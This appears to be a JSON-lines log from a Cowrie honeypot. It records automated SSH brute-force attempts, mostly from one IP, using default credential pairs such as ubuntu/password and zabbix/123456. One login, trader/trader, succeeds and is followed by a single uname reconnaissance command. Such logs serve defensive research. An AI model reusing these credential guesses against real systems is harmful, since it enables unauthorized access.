{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":54962,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7fb3c0f090b","protocol":"ssh","message":"New connection: 43.134.24.11:54962 (10.17.0.5:22) [session: c7fb3c0f090b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:53.897946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:53.902827Z","src_ip":"43.134.24.11","session":"c7fb3c0f090b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:54.144462Z","src_ip":"43.134.24.11","session":"c7fb3c0f090b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:54.895293Z","src_ip":"43.134.24.11","session":"c7fb3c0f090b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:56.189559Z","src_ip":"43.134.24.11","session":"c7fb3c0f090b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60770,"dst_ip":"10.17.0.5","dst_port":22,"session":"33d90874e539","protocol":"ssh","message":"New connection: 43.134.24.11:60770 (10.17.0.5:22) [session: 33d90874e539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:59.455917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:59.492669Z","src_ip":"43.134.24.11","session":"33d90874e539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:49:59.704565Z","src_ip":"43.134.24.11","session":"33d90874e539","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:00.708667Z","src_ip":"43.134.24.11","session":"33d90874e539","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:01.328692Z","src_ip":"43.134.24.11","session":"33d90874e539","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:01.333616Z","src_ip":"43.134.24.11","session":"33d90874e539","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:01.586074Z","src_ip":"43.134.24.11","session":"33d90874e539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:01.596984Z","src_ip":"43.134.24.11","session":"33d90874e539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60771,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9bbf8c9ea86","protocol":"ssh","message":"New connection: 43.134.24.11:60771 (10.17.0.5:22) [session: c9bbf8c9ea86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:05.234584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:05.240755Z","src_ip":"43.134.24.11","session":"c9bbf8c9ea86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:05.488950Z","src_ip":"43.134.24.11","session":"c9bbf8c9ea86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:06.233940Z","src_ip":"43.134.24.11","session":"c9bbf8c9ea86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:07.485322Z","src_ip":"43.134.24.11","session":"c9bbf8c9ea86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":60772,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f2e0407185b","protocol":"ssh","message":"New connection: 43.134.24.11:60772 (10.17.0.5:22) [session: 1f2e0407185b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:10.933176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:10.938483Z","src_ip":"43.134.24.11","session":"1f2e0407185b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:11.191020Z","src_ip":"43.134.24.11","session":"1f2e0407185b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:11.934062Z","src_ip":"43.134.24.11","session":"1f2e0407185b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:13.183984Z","src_ip":"43.134.24.11","session":"1f2e0407185b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1807,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f5f0c8136b9","protocol":"ssh","message":"New connection: 43.134.24.11:1807 (10.17.0.5:22) [session: 2f5f0c8136b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:16.656107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:16.661315Z","src_ip":"43.134.24.11","session":"2f5f0c8136b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:16.901976Z","src_ip":"43.134.24.11","session":"2f5f0c8136b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:17.630438Z","src_ip":"43.134.24.11","session":"2f5f0c8136b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:18.875916Z","src_ip":"43.134.24.11","session":"2f5f0c8136b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.230.217.102","src_port":53423,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b60503b528","protocol":"telnet","message":"New connection: 88.230.217.102:53423 (10.17.0.5:23) [session: d5b60503b528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:21.444073Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":39090,"dst_ip":"10.17.0.5","dst_port":22,"session":"790b97b3efc2","protocol":"ssh","message":"New connection: 43.134.24.11:39090 (10.17.0.5:22) [session: 790b97b3efc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:22.262994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:22.269827Z","src_ip":"43.134.24.11","session":"790b97b3efc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:22.599787Z","src_ip":"43.134.24.11","session":"790b97b3efc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:23.354132Z","src_ip":"43.134.24.11","session":"790b97b3efc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:24.604274Z","src_ip":"43.134.24.11","session":"790b97b3efc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":18001,"dst_ip":"10.17.0.5","dst_port":22,"session":"0527fce3c570","protocol":"ssh","message":"New connection: 43.134.24.11:18001 (10.17.0.5:22) [session: 0527fce3c570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:28.106318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:28.111331Z","src_ip":"43.134.24.11","session":"0527fce3c570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:28.358623Z","src_ip":"43.134.24.11","session":"0527fce3c570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:29.101470Z","src_ip":"43.134.24.11","session":"0527fce3c570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:30.351496Z","src_ip":"43.134.24.11","session":"0527fce3c570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.24.11","src_port":1808,"dst_ip":"10.17.0.5","dst_port":22,"session":"83f2fdc22d21","protocol":"ssh","message":"New connection: 43.134.24.11:1808 (10.17.0.5:22) [session: 83f2fdc22d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:33.926439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:33.930858Z","src_ip":"43.134.24.11","session":"83f2fdc22d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.689561367034912,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:34.133477Z","src_ip":"88.230.217.102","session":"d5b60503b528","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:34.163930Z","src_ip":"43.134.24.11","session":"83f2fdc22d21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:50:34.855458Z","src_ip":"43.134.24.11","session":"83f2fdc22d21","protocol":"ssh"}
